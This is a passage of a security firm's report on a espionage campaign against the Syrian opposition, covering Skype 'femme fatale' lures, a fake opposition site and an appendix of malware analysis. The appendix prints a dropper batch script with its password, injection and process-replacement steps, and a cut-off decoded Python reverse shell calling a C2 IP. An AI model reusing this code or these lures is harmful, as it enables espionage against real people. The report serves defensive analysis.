the chat logs. For further explanation, see Appendix B: Social Media Analysis of Victim Skype Databases. Profiled below are four sample victims: AN OPPOSITION LEADER A DEFECTOR A HUMANITARIAN A MEDIA ACTIVIST The threat group compromised the computer of an individual who appears to be the leader of an armed unit. In addition to stealing Skype conversations about sensitive military and logistics topics, the threat actors also took a series of folders marked Very Special File that contained plans and logistics information for an upcoming battle. This victim appeared to be a high-profile defector; a formerly high-ranking officer in Assad s security services. The threat group took multiple files from his computer, including documents on forming armed coalitions and political groups and his complaints to the local Internet Service Provider about the bad service in his new home. While the threat actors had not taken Skype logs from his computer, they did take his CV and other personal documents. Several victims appeared to be individuals working on supplies and humanitarian operations, including an aid coordinator for a charity based in Turkey. Among the documents stolen from his system were his CV and a picture of a border crossing showing bundles of goods passing across a river (possibly the Orontes River near Idlib). The threat group targeted a young media activist who appeared to be based inside Syria, working with a local media center. The threat group compromised his computer, stealing meeting minutes, as well as a series of videos that recorded meetings with other media activists. They also took lists of casualties and documents pertaining to investigations of chemical weapon attacks. TURKEY UKRAINE SYRIA LEBANON JORDAN EGYPT UNKNOWN SPAIN Figure 1: Geographic Location of Victims based on Victim s Skype profiles VICTIMS LOCATED IN SYRIA AND BEYOND Among the victims were individuals who appear to be linked to the Free Syrian Army (a set of groups united by their opposition to Assad), Islamist fighting groups, and individuals with no clear group affiliation. Some of the victims appear to operate within opposition-controlled areas of Syria, while others are more likely located within the broader diaspora networks in Lebanon, Jordan, and the Persian Gulf. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines III. TACTICS: ENCOUNTERING FEMME FATALE he threat group primarily compromised its victims using female avatars to strike up conversations on Skype and connect on Facebook. They also used a fake, pro-opposition website seeded with malicious content. CHATTING WITH FEMALE AVATARS The threat group created several Skype accounts with female avatars to target (male) individuals in the Syrian opposition. The female avatars, which had generic but country-appropriate names and profile images, would develop a rapport with the victim before sending a malicious file. The female avatars approached their targets with a series of personal questions that appeared to be part of a script The first two questions would generally be: how are you on Skype? On a computer or on your phone? Monday 20:14 how old are you? We believe the first question about the victim Skype access determined whether the victim received malware designed to compromise a computer or a mobile device.2 The avatar would request a photo of the target, then send a personal photo of a woman in return. The avatar photo was actually an executable file (a self-extracting RAR archive) renamed with the .pif file extension.3 When the victim opened the photo, a woman picture was displayed while the SFXRAR executed and ultimately installed the DarkComet RAT in the background. From this point on, the victim computer was under the threat group s control. The other personal questions presumably helped the threat actors systematically collect information from each of their targets. The threat actors would sometimes reinitiate chat sessions with victims after a period of inactivity to collect additional details. For example, we observed a female avatar engage one victim in lengthy chats about Syrian refugees in Beirut. After successfully compromising the target, the conversations stopped. Later briefly re-emerged to ask the victim if he had previously served in the Syrian Arab Army (Assad s forces). After getting an affirmative answer, she again went silent. Tuesday 22:07 While we did not see the threat actors deploy Android malware via Skype, they had access to Android malware (see Appendix A) that could have been used in a similar fashion. https://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/windows_pif_create.mspx SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines A REPRESENTATIVE CHAT WITH IMAN AVATAR The target receives an initial contact request from the female avatar. He accepts the request. then asks, are you using Skype on your phone or your PC? AVATAR Are you opening Skype on your mobile? 14:27 TARGET Computer and mobile 14:35 TARGET How old are you? 14:41 AVATAR 14:42 AVATAR And you? 14:43 TARGET What is your date of birth? The avatar responds with a request for a picture. The target then sends a picture, which the avatar compliments. follows up with a request for his age and says her own birthdate. He replies with apparent surprise that they have identical birthdays, though one year off. 14:45 AVATAR 10-3-88 15:04 TARGET Lolololololol 15:05 TARGET 10-3-89 It probably wasn coincidence. His birthday is on his Skype profile, which would have been visible to the threat actor. After they chatted a bit more, she explained that she is a computer engineer working at a programming company in Beirut and sends a file that the avatar claims is a picture of her. The target becomes a victim when the picture is opened. 15:06 AVATAR What a nice coincidence 15:07 THREAT ACTOR: Sent file New-Iman-Picture.pif 15:37 TARGET You drive me crazy. 15:39 SEND SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines Figure 2: The Skype avatar s corresponding Facebook profile SEEDING MALWARE ON SOCIAL MEDIA The Skype avatar had a matching Facebook profile with the same photo. profile, populated with pro-opposition content, contained many posts with malicious links. The links invite visitors to install security tools like VPNs and Tor, or access important documents. A FAKE SYRIAN OPPOSITION WEBSITE The malware that the Skype avatars and social media profiles encouraged their victims to download shared the same host server as malware distributed through a website (80.241.223.128) purporting to be supportive of the Syrian opposition. The threat actors used this website to target opposition members interested in news about the conflict. Much of the websites content was scraped from the website of the Syrian American Council, a U.S.-based non-profit that advocates for democracy in Syria. In order to watch videos on this website, the viewer is prompted to download a Flash Player update that is actually malware (see Figure 4 and Figure 5). Figure 3: Another female avatar posting malware links on her Facebook profile Threat actors also included download prompts for legitimate video chat software bundled with malware. Figure 4: Prompt to install the malware Figure 5: Saving malicious flash installer SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines Figure 6: Fake Facebook login page SOCIAL NETWORKING PROFILES AND FACEBOOK CREDENTIAL PHISHING The fake opposition website also includes what appears to be a matchmaking section (Figure 6) that covertly channels targets toward installing malware. This section of the site contains womens' profiles, each of which is populated with information indicating age, location and interests as well as other personal information. The profiles also contain links to a LiveCam ID as well as the Facebook Profile of each woman. Clicking on the LiveCam ID link directs the user to a download page including Live-Chat-ooVoo-Setup.exe, a malicious bundling of ooVoo (a legitimate program). Clicking on a Facebook profile links to a fake Facebook login page that is actually a phishing page used to collect credentials (Figure 7). ONE COMPROMISED SYSTEM, MULTIPLE VICTIMS The threat group manually created a directory on its server for each compromised computer. These directories often contained multiple stolen Skype databases indicating that the victims shared computers. The threat group was likely able to acquire large collections of data by breaching only a relatively small number of systems due to the opposition s use of shared computers for satellitebased Internet access. Figure 7: Profiles in the phishing site Sharing computers is likely a function of the realities of limited internet service in Syria. The multi-day Internet and phone blackouts that began occurring in Syria in 2012 (possibly the Syrian government s attempts to stifle opposition forces communication capabilities, with some exceptions4) have driven opposition groups, media activists, political groups, and others to set up their own satellite communications systems for reliable two-way satellite Internet connectivity. Typically, they use 2-way satellite communications equipment known as Very Small Aperture Terminals (VSATs) connected to consumer grade networking equipment, like Wi-Fi routers. VSATs provide an expensive Internet lifeline to many groups within opposition-controlled parts of Syria. Due to expensive bandwidth, limited electricity, setup time, and the need to operate VSATs from a fixed location, individuals supporting a wide variety of Syrian opposition efforts often share connections and computers located in places like local media centers and operations rooms.5 As a result, a threat actor who successfully infects one person on a shared device can easily steal the Skype databases and stored documents of several targeted individuals or organizations as well. The threat group was likely able to acquire large collections of data by breaching only a relatively small number of systems due to the opposition s use of shared computers for satellite-based Internet access. http://www.washingtonpost.com/blogs/worldviews/wp/2012/11/30/can-u-s-communication-kits-help-syrians-get-around-the-Internet-blackout/ http://www.cbsnews.com/news/to-fight-assad-syrian-opposition-logs-on-at-any-cost/ SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines IV. MALWARE: A RANGE OF TOOLS FOR MULTIPLE PLATFORMS he threat group s tools and tactics differ somewhat from those observed in previous activity targeting the Syrian opposition.6 Although this threat group uses the known tactic of deploying the DarkComet RAT, they do so using a multistage dropper that has not been previously observed. The group also uses a keylogger and what appear to be custom tools with shellcode payloads. The threat actors have used these tools in conjunction with techniques such as: Multi-stage droppers incorporating passwordprotected self-extracting RAR archives Memory injection using process replacement Multi-stage payloads This is also the first instance we have observed a threat group targeting the Syrian opposition using Android malware. Smart phones, in general, are valuable sources of data about individuals and their social networks, as they may contain address books, SMS messages, email, and other data (including data from mobile apps, such as Skype). Targeting Android may be particularly beneficial in the case of Syrian opposition members, where regular power blackouts in Syria may force people to rely more heavily on mobile devices for communications. Despite the wide array of tools and techniques at their disposal, the threat group does not appear to use software exploits to deliver malware to their targets. Instead, they seem to rely on a variety of social engineering techniques to trick victims into infecting themselves. Although this threat group uses the known tactic of deploying the DarkComet RAT, they do so using a multistage dropper that has not been previously observed. Use of an XOR key to decode a shellcode payload, where the components used to generate the XOR key are distributed in two separate files (a PDF and an EXE) See, for example: https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware-campaigns; https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf; https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/ SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines V. POTENTIAL THREAT GROUP SPONSORSHIP he threat group s tools and tactics stand in contrast to the ways in which other Syrian groups (described publicly by a variety of researchers) have operated. In addition, while we do not have sufficient information to determine the identity of this group or the nature of its ties to Assad s forces, we have some indications that the group may be resourced and / or located outside of Syria. The malware used by this threat group does not share any command and control servers with previously reported activity documented by research groups including Kaspersky, Trend Micro, CitizenLab, and the Electronic Frontier Foundation (EFF).7 In addition, the activity does not share any of the tactics or tools with activity profiled in another recently released report on potentially ISIS-linked malware in Syria.8 The threat group used a variety of malware, suggesting access to development tool resources. For example, while other Syrian threat groups have used DarkComet and other RATs extensively, this group deploys DarkComet using a custom dropper (BLACKSTAR) that may make the malware more difficult to detect. This threat group is also unique to date in leveraging the Metasploit Framework, custom malware tools (YABROD and CABLECAR), and Android malware. This demonstrates that the threat group is capable of acquiring and using a diverse malware arsenal. It remains unclear if they have developed this capacity internally or are receiving outside support. Finally, public reports of other suspected proSyrian threat actors have identified those groups primary or fallback command and control (C2) servers as located within Syria itself (e.g., resolving to or directly referencing Syrian IP addresses, often in similar IP ranges.) However, this group C2 servers were located outside of Syria. This may indicate that the group is not based in Syria itself, or that its sponsor s resources do not include the ability to provide the group with dedicated servers located in Syria. https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware-campaigns https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/ Behind the Syrian Conflict s Digital Front Lines SPECIAL REPORT Figure 8: Avatars referencing Lebanon LEBANON BEIRUT LEBANON: A RECURRING THEME While researching this activity, we came across numerous references to Lebanon. We observed a user in Lebanon upload what appear to be two test versions of malware used to target opposition elements (the YABROD downloader and the CABLECAR launcher). The avatars, social media seeding, and fake opposition website are also filled with references to Lebanon. During chats, for example, the female avatars often state that they are in Lebanon and demonstrate familiarity and interest in talking about issues there. Social media pages suggest that the avatars are refugees in the country, or are Lebanese. Establishing an "Electronic Army" to infiltrate Syrian activists computers, websites and Internet accounts, and attempting to use stolen personal information against them. Setting up opposition social media accounts to spread false information and make accusations and counter-accusations to create conflict between opposition members in and out of Syria. While researching the threat group tactics, we came upon a reference to a 3-day training course in Lebanon in 2012 that described the use of eerily similar methods. According to media reports, a leaked Syrian intelligence memo titled "Training Course for Internet and Social Media Activists" describes the tactics that pro-Assad recruits many of whom were Lebanese members of Hezbollah's Islamic Resistance were trained to use.9 Do note that we are unable to determine the authenticity of the document, or whether it may represent disinformation. The training included: The use of women to entrap opposition members and activists using social media sites such as Skype and Facebook.10 http://alkhaleejonline.net/#!/articles/1414221806705481300/, English translation available here: http://syria-cyber-warfare-intel-leak.pen.io http://syria-cyber-warfare-intel-leak.pen.io SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines CONCLUSION t first glance, this group s activity follows a familiar plot line: threat actors socially engineer their way into individuals computers and then steal data. However, like all great plots, this one comes with a twist. The group regularly asked its targets about the device they used computer or Android phone probably so that they could then deploy malware specifically tailored to that device. In addition to the range of military and political documents stolen, the group focused on the victim s Skype databases, which included the victim s contacts and real time communications, providing the threat actors with an inside view into the opposition s relationships and plans. We suspect they often found their next targets in the victim s Skype contacts as well. As the warzone reality of expensive satellite internet forced opposition members to rely on shared devices, compromising a single device yielded the combined plans and communications of multiple aspects of the opposition. Unlike other threat activity that we have profiled, this is not just cyber espionage aimed at achieving an information edge or a strategic goal. Rather, this activity, which takes place in the heat of a conflict, provides actionable military intelligence for an immediate battlefield advantage. It provides the type of insight that can thwart a vital supply route, reveal a planned ambush, and identify and track key individuals. This intelligence likely serves a critical role in the adversary s operational plans and tactical decisions. However, this tactical edge comes with a potentially devastating human cost. ACKNOWLEDGEMENTS Kristen Dennesen Laura Galante William Gibb Erye Hernandez Mary Beth Lee Ned Moran Vinay Pidathala Michael Shoukry Jen Weedon Jinjian Zhai SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines APPENDIX A: MALWARE ANALYSIS MULTI-STAGE SELF-EXTRACTING RAR DROPPER This threat group frequently uses social engineering to attempt to trick victims into infecting themselves by running malware disguised as a legitimate file, which we call the lure . In some cases the file appeared to be valid software installation program (e.g.,install_flashplayer11x32_gdrd_aih.exe). In other cases, the group used the non-printable Unicode right-to-left override character11 to make executable files appear as PDFs, JPGs, or other non-malicious content (e.g., Syrian-Girl-Against-Regime[Unicode]gpj.exe., which would be displayed to a user as Syrian-Girl-Against-Regime.exe.jpg). In each case, the lure file was actually a self-extracting RAR archive (SFXRAR), typically containing a decoy file and a second, password-protected SFXRAR that contained the actual malware. The files are executed to deploy the malware as shown in Figure 9. Figure 9: Multi-stage RAR Dropper Download binary RAR 1 Installer Decoy Dropper Extract RAR1 and run installer Run dropper Installer Show Decoy Provide RAR 2 Password Dropper RAR 2 Malware Extract RAR 2 Malware System Infection RAR 2 Malware http://blogs.msdn.com/b/ericfitz/archive/2011/08/22/off-topic-unicode-right-to-left-override-character-used-by-malware.aspx SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines Figure 10: Files dropped by the first SFXRAR Figure 11: Content of BBAG.bat script BBAG.bat combine.bat flashplayer11.exe hide.vbs Update-flashplayer11.sfx.exe @echo off Update-flashplayer11.sfx.exe -pWh@t1sTh3re -d%temp% flashplayer11.exe -d%temp% The lure is a SFXRAR archive ( RAR 1 ) that contains one or more installer batch (.bat) scripts and / or Visual Basic (.vbs) scripts (generically referred to as the Installer , above); a non-malicious decoy file (Word or PDF document, JPG image, or legitimate software installation program, the Decoy ); and a second, password-protected SFXRAR archive containing the malware (the Dropper RAR 2 ). Since the malware is in a password-protected file, it can t be scanned by antivirus software. In step 1, RAR 1 executes, writes its contents to disk, and launches the installer scripts. When the installer scripts execute, they provide a password to open RAR 2 and launch the decoy file. The decoy file is displayed to the victim (or executed, if the decoy is a legitimate application). The malware is extracted from the password-protected RAR 2 and executed, compromising the system. For example, visitors attempting to view videos on the threat group s fake website were prompted to download the file install_flashplayer11x32_gdrd_aih.exe (6608ce246612d490f3b044627a5e6d9e). While the file appeared to be an installation program for Adobe Flash, it was actually an SFXRAR archive containing the files shown in Figure 10. The file flashplayer11.exe (b44da59fdaf10fea8bce51772f67b9a9) was the decoy file a legitimate, digitally-signed Adobe binary. The file Update-flashplayer11.sfx.exe (a1e0d40715f66f30aad44ab4c15a474a) was a password-protected SFXRAR file. The BBAG.bat file extracts and launches the SFXRAR using the password Wh@t1sTh3re on the command line and launches the decoy to start the legitimate Flash player installation process, as shown in Figure 11. The SFXRAR in turn extracts and executes the malicious file flashplayer11x32_gdrd_aih.exe (b68a7e216cb0d18030048935b67e0d68) which is a copy of the ONESIZE keylogger. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines Figure 12: Content of the key log file ONESIZE KEYLOGGER ONESIZE has been distributed using the multi-stage SFXRAR dropper method described above. ONESIZE uses the GetAsyncKeyState API to intercept input from the keyboard. The malware stores logged keystrokes to %temp%\keys.txt. A sample log file is shown in Figure 12: ONESIZE collects information about the infected computer, including the hostname, OS name, registered owner, install date, system type, BIOS version, system and input locale (to detect the language), domain, logon server, and hotfixes installed. The system information is transmitted to a hard-coded command and control (C2) server (80.241.223.128:2007), as shown in Figure 13: Figure 13: System information sent to the ONESIZE C2 connect to [80.241.223.128] from Lab-PC [80.241.223.128] 49232 Host Name: LAB-PC OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Lab Registered Organization: ONESIZE also uploads the key log file to the same C2 server. ONESIZE checks to see whether the current key pressed is greater than 0x26 and less than or equal to 0x5A, or any of the following virtual keys: VK_OEM_COMMA VK_OEM_2 VK_OEM_3 VK_OEM_4 VK_OEM_5 VK_OEM_6 VK_OEM_7 SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines Figure 14: UniLogger Github source code snippet If so, and if the key log file is equal to or greater than 4096 bytes (0x1000) in size, the log is uploaded to the C2 server. If these conditions are not met, then the current key pressed is simply written to the log file. ONESIZE may leverage source code12 from the publicly available UniLogger Keylogger.13 UniLogger supports Unicode, which means it is capable of logging keystrokes from keyboards configured for Unicode languages such as Arabic, Chinese, and Russian. Both ONESIZE and UniLogger may use the same source code to record keystrokes. Figure 14 shows part of the UniLogger source code, which calls Sleep with the rand function somewhat uniquely and searches virtual-key codes from 8 to 222.14 Figure 15 shows a partial disassembly of ONESIZE; the Sleep and rand functions are visible, as well as the virtual key codes from 8 to 222. Figure 15: ONESIZE partial disassembly https://github.com/SherifEldeeb/UniLogger/blob/master/Source.cpp http://eldeeb.net/wrdprs/?page_id=229 The malware determines if a key is pressed by iterating through all the virtual keys starting from 8 and ending with 222 and checking the return value of the GetAsyncKeyState API (a return value of -32767 (0x8001) means key down and pressed since the last check). SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines SPECIAL ASSIGNMENT In this redacted, translated, and excerpted conversation the leader of an opposition fighting group is offered a fighting job: launch an attack on a particular airport. The emphasis on communications discipline, and the need for documentation are both notable. The need for photographic proof suggests a need for verification by a distant party, perhaps the funder who is said to be in Saudi Arabia. Perhaps photographic proof is also important for a group (or funder s) reputation and being able to claim credit for a particular attack. PERSON 2 PERSON 2 How many people do you have? Monday 19:27 I have 50 armed, and one anti-aircraft cannon. Monday 19:28 And two Grad launchers. PERSON 1 Monday 19:37 Would you be willing to take a job and do it without letting anyone else interfere? Monday 19:38 Like what? Monday 19:46 I have a job that will make your unit the strongest unit in the city Monday 19:47 We need to hit from a distance with a missile (RPG) or with a tank the [REDACTED] airport and burn a plane in the airport or a gas tank. At that time, you can ask for the most precious thing. We were in an agreement with [REDACTED, OFFICER NAME AND RANK]. However we couldn t get him in time, we promised him a big reward if he burned anything at the airport. Monday 19:56 I will give you pictures of the hit on the [REDACTED] airport. Monday 20:07 Before you go to work, tell the partners so that they know, and I need you to send the picture in a file and we will not broadcast it, it will just be used for evidence that it was done or complete, after two hours of you sending the folder with the picture, you can publish. Monday 20:08 Tomorrow, I will hit it with a hundred anti plane shells and I will burn it. Monday 20:09 In full form, this conversation reveals several pieces of sensitive military information regarding the opposition approach to launching, funding, and operationalizing an attack plan. The potential real-time surveillance of opposition wartime discussions could provide the Assad regime with valuable intelligence about ongoing or planned military campaigns, identification of who funds the opposition, and how the operational financial infrastructure works. Today, At 1 I will talk to the individual that will fund you, so he knows and so you can tell me the time that you will hit. Also make sure no one has a phone and do not let anyone take any pictures so that you are the only one who has the picture and so that no one deceives you. Monday 20:10 Tomorrow in the evening you will have the pictures. Monday 20:21 Call the funder from Saudi Arabia, and based on the promise that today is the work, let him know that the people who will work in [REDACTED] told me that they need to move forward and execute on the operation. Today 8:27 SEND SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines BLACKSTAR, A CUSTOM DROPPER FOR THE DARKCOMET RAT DarkComet is a widely available, stable, and easy to use remote administration tool (RAT) that allows a threat actor to control a compromised system. In addition to standard backdoor functions such as manipulating processes, services, the registry, and uploading and downloading files, DarkComet can also activate the webcam and microphone. Since DarkComet is so well known, security products such as antivirus software can often detect it. This threat group uses a custom dropper which we call BLACKSTAR. BLACKSTAR contains an embedded, obfuscated binary which is a second dropper and launcher that we call REDDWARF. REDDWARF contains the actual DarkComet payload. BLACKSTAR writes REDDWARF to disk for persistence, but DarkComet itself is only ever extracted to memory by REDDWARF. Many antivirus vendors fail to detect this DarkComet backdoor because it is obfuscated inside the BLACKSTAR binary or because it is loaded into memory using process replacement. BLACKSTAR malware performs the following actions: The BLACKSTAR binary (in this case, adobereadersetup-86x.exe, 39632325327bf21f7d9cf02caf065646) is first extracted from two nested SFXRAR archives, as described above. BLACKSTAR contains two resources:15 QUYFKY\DIOKAK contains a decoder key for the configuration data and the embedded PE (REDDWARF). QUYFKY\UXLNYL contains the encoded configuration data which consists of function names that the malware resolves dynamically, as well as offsets used to extract the embedded PE. REDDWARF is actually contained within a Word document embedded within the BLACKSTAR binary. BLACKSTAR first finds the offset of the embedded Word file, then decodes the configuration data that includes the offset of the REDDWARF binary within the Word file.16 The embedded key is used to decode the embedded REDDWARF binary (8af83d74033aded17af538e4ccf12092). REDDWARF is loaded in to memory and executed, replacing the BLACKSTAR process in memory through a technique known as process replacement.17 The resource names vary across samples, and appear to consist of six random upper-case letters. The Word document is never written to disk, and may simply be intended to further mask the REDDWARF binary. Process replacement replaces a legitimate binary in memory with a malicious one. First, a legitimate binary is launched in a suspended state. The content of the legitimate binary is then unmapped from memory, memory is allocated at the original binary s location, and the content of the malicious file is written to that memory space. The main suspended thread is pointed to the memory location of the malicious code, and the thread is resumed, executing the malware. By using process replacement the malicious code will appear to be the legitimate process to many analysis tools. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines NEEDING PASSPORTS This redacted, translated and excerpted conversation appears to describe an attempt to secure forged passports and identity documents for the purpose of travel. Syrians attract much scrutiny while traveling overseas for many reasons, and a Syrian opposition member would have many motivations to conceal his or her true nationality. The reason for avoiding Turkish documents may be that a Syrian would have a difficult time pretending to be Turkish, but a much easier time with another Arabic speaking identity. PERSON 1 PERSON 1 Do you know someone that can get us some identities and Passports for travel? 13:00 I have a smuggler. 13:01 He helps get [smuggle] people out. 13:01 We are not looking for a smuggler. 13:02 We want identities and passports. 13:02 We do not want them for Turkey. 13:03 We want them for the UAE and others. [The passports] In full form, this conversation discloses opposition travel efforts and the forgery methods opposition members have sought to secure the documentation required to move in concealed fashion. The Assad regime likely places a high priority on understanding opposition movements, the identities of its personnel, and methods for traveling discreetly. That is my brothers job, he knows about that 13:08 good 13:09 REDDWARF contains two resources: RT_RCDATA\1 which contains the DarkComet binary (24f1658f3f38245dc15b9619bc97979b); RT_RCDATA\2 which contains plaintext configuration data. Similar to BLACKSTAR, the REDDWARF configuration data consists of function names that the malware resolves dynamically; the registry location that the malware should use for persistence; and (optionally) a file name that contains a script. REDDWARF extracts the DarkComet backdoor and spawns a copy of itself. It uses process replacement on that copy to launch the DarkComet backdoor in memory. Finally REDDWARF copies itself to disk, maintaining persistence via the registry entry specified in its configuration file (e.g., HKCU\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1). We suspect that the malware authors used an automated tool to embed the DarkComet payload within the second binary and PERSON 2 13:04 13:07 SEND within the BLACKSTAR dropper. Interestingly, we observed at least one case where the payload may have been run through the packaging tool twice; that is, the BLACKSTAR dropper contained an embedded REDDWARF binary, which contained another BLACKSTAR dropper, which contained another REDDWARF binary, which contained the final DarkComet payload: BLACKSTAR binary (itself contained within multiple SFXRAR files): GoogleUpdate.exe,7247d42b3b4632dc7ed9d8559596fff8. Embedded REDDWARF binary: 1b20ea5887775f8eddf5aecd5d220154 Embedded BLACKSTAR binary: 97a35a7471e0951ee4ed8581d2941601 Embedded REDDWARF binary: dd08f85686bd48e4bab310d8fbff81a4 Embedded DarkComet payload: ae1ea30e6fb834599a8fed11a9b00314 That particular BLACKSTAR dropper (7247d42b3b4632dc7ed9d8559596fff8) was dropped by at least four different original lure files. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines YABROD DOWNLOADER AND CABLECAR LAUNCHER This threat group deploys a set of malware consisting of an initial downloader that we call YABROD and a launcher that we call CABLECAR. The YABROD downloader contains embedded shellcode (used to download and execute a second binary) and an embedded, password-protected PDF stored in a PE resource named PDF. The PDF file is not malicious and acts as a decoy document, displaying relevant content to its intended victim. However, the PDF also contains a shellcode payload, and data used to generate an XOR key to decode the shellcode. YABROD does not decode and execute the shellcode from the PDF on its own, but relies on a downloaded second-stage binary (CABLECAR) to do so. Some YABROD variants also contain an embedded, nonmalicious executable stored in a PE resource named EXE. The executable acts as a second decoy, installing a valid piece of software while the YABROD downloader runs in the background. YABROD attempts to inject its embedded shellcode into a specified process on the victim computer; the process may vary depending on the YABROD sample. We identified variants that attempted to inject into Skype (skype.exe); various browser processes (chrome.exe, firefox.exe, iexplore.exe); or specific processes associated with Microsoft .NET (e.g., cvtres.exe). Presumably the threat actors selected processes they expected to be running on their victims computers. Once loaded into its target process, the YABROD shellcode connects to a specified C2 server via HTTP to download and execute a second file. We have identified samples that use a hard-coded IP address for C2, as well as samples that use a URL redirect to connect to a Dropbox account. The YABROD samples we identified download an executable launcher that we call CABLECAR; CABLECAR parses the password-protected PDF dropped by YABROD to identify a 16-byte key and the embedded shellcode payload. The key is used with a substitution table from the CABLECAR binary to generate an XOR key to decode the shellcode payload from the PDF. CABLECAR then attempts to inject the shellcode into a specific process; similar to YABROD, the process may vary across samples but includes browsers (chrome.exe, firefox.exe, iexplore.exe) and .NET processes (vbc.exe). In the samples we analyzed, the shellcode payload was a Metasploit reverse shell; the shellcode is loaded only in to memory and never touches disk. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines Figure 16: Yabrod password-protected PDF Figure 17: Downloading the file Yabrod.pdf DETAILED ANALYSIS Below is a detailed analysis of a particular YABROD sample. Step 1: The YABROD downloader (bd4769f37de88321a9b64e5f85baf1ef) attempts to launch the Microsoft .NET process %systemroot%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe in a suspended state and inject its embedded shellcode into the process. After that, the downloader sleeps for 2 minutes to allow the shellcode to execute. Step 2: The YABROD downloader checks for the existence of two PE resources, PDF #112 and EXE #115. YABROD extracts an embedded password-protected PDF file (e0625817eb11874d806909a8c190d45a) from Resource PDF #112 and writes it to %temp%\ Yabrod.pdf. Step 3: YABROD then extracts and executes an embedded executable decoy file from resource EXE #115, vpn7x32.exe (bc167bca4ca3cf6f2f2bd7e90ecdeb29), which is a legitimate installation program for a VPN client. Note: if the EXE resource exists, YABROD uses the embedded executable as the decoy file displayed to the user. If there were no EXE resource, YABROD would display the embedded PDF as a decoy instead, using the default application as specified in the Windows registry. An excerpt from the PDF s content is shown in Figure 16. Step 4: The YABROD shellcode injected into cvtres.exe downloads a file by making a HTTP request to 80.241.223.128/Yabrod.pdf using as the User-Agent. The downloaded file is placed in %temp% as GoogleUpdate.exe. A registry value GoogleUpdate is added under HKCU\ Software\Microsoft\Windows\CurrentVersion\Run and set to %temp%\GoogleUpdate. . The %temp% environment variable is expanded prior to writing the registry value. The download request and response are shown in Figure 17. SPECIAL REPORT Behind the Syrian Conflict s Digital Front Lines Figure 18: Libraries dropped _ctypes.pyd _hashlib.pyd _socket.pyd _ssl.pyd bz2.pyd Imo-Pic.exe.manifest Microsoft.VC90.CRT.manifest msvcm90.dll msvcp90.dll msvcr90.dll python27.dll select.pyd unicodedata.pyd Step 5: The YABROD downloader attempts to start the process %temp%\GoogleUpdate.exe without checking if the file exists. Step 6: The downloaded executable (4e007cb87626f0093a84ed50b1d27a7f), a variant of the CABLECAR launcher, was launched on the victim system. CABLECAR parsed the PDF from step 2, looking for the second ">>stream" string following the first occurrence of the string "Encrypt". The location contained a 16-byte (0x10) key. CABLECAR then searched for the stream identified by subtype/ XML/Type/Metadata/stream. The key and a 256-byte (0x100) substitution table stored within CABLECAR itself were used to generate an XOR key to decrypt shellcode stored in the PDF stream. In this case, the shellcode was a copy of the Meterpreter reverse shell (meterpreter_reverse_tcp). Step 7: CABLECAR creates a specific process (in this case, %systemroot%\Microsoft.NET\ Framework\v2.0.50727\vbc.exe)in a suspended state to inject the decoded shellcode18 (vbc.exe is the Microsoft .NET Visual Basic Compiler). Step 8: The Metasploit shellcode (4e007cb87626f0093a84ed50b1d27a7f) from the YABROD PDF file connects back to the C2 IP 80.241.223.128 on TCP port 55555, providing a remote shell to the threat actors. PYTHON-BASED BACKDOOR SHELLCODE LAUNCHER This threat group uses another backdoor implemented as an encrypted Python script contained within a pyinstaller dropper. The dropper, Facebook-Account.exe (64a17f5177157bb8c4199d38c46ec93b), was built using pyinstaller, a program that converts Python programs into standalone executable files.19 The pyinstaller binary creates a folder under %temp% with the name _MEIXXXX, where XXXX is a random number. The folder is used to drop all the modules and libraries used by the packaged script. The dropped files include Microsoft Visual C++ runtime libraries (such as msvcm90.dll) as well as python27.dll and various Python binaries (.pyd files). The Python libraries appear to be from the 2.7.5 distribution of Python. Interestingly, instead of using the traditional CreateRemoteThread function call to execute the injected shellcode, the malware uses the undocumented function RtlCreateUserThread.RtlCreateUserThread avoids problems associated with different privileges that may exist between the injecting process (CABLECAR) and the target process and helps ensure the injection will succeed. http://www.pyinstaller.org/ SPECIAL REPORT The malicious Python script is decrypted in memory as shown in Figure 19: Behind the Syrian Conflict s Digital Front Lines Figure 19: Malicious Python script decoded import struct, socket, binascii, ctypes, random, time HoAaKvZAEyhHfv, ghHICmgBqfYrOcL = None, None def CpkyBfJGA(): try: global ghHICmgBqfYrOcL ghHICmgBqfYrOcL = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ghHICmgBqfYrOcL.connect(('80.241.223.128', 55555)) eDkZgDbDN = struct.pack('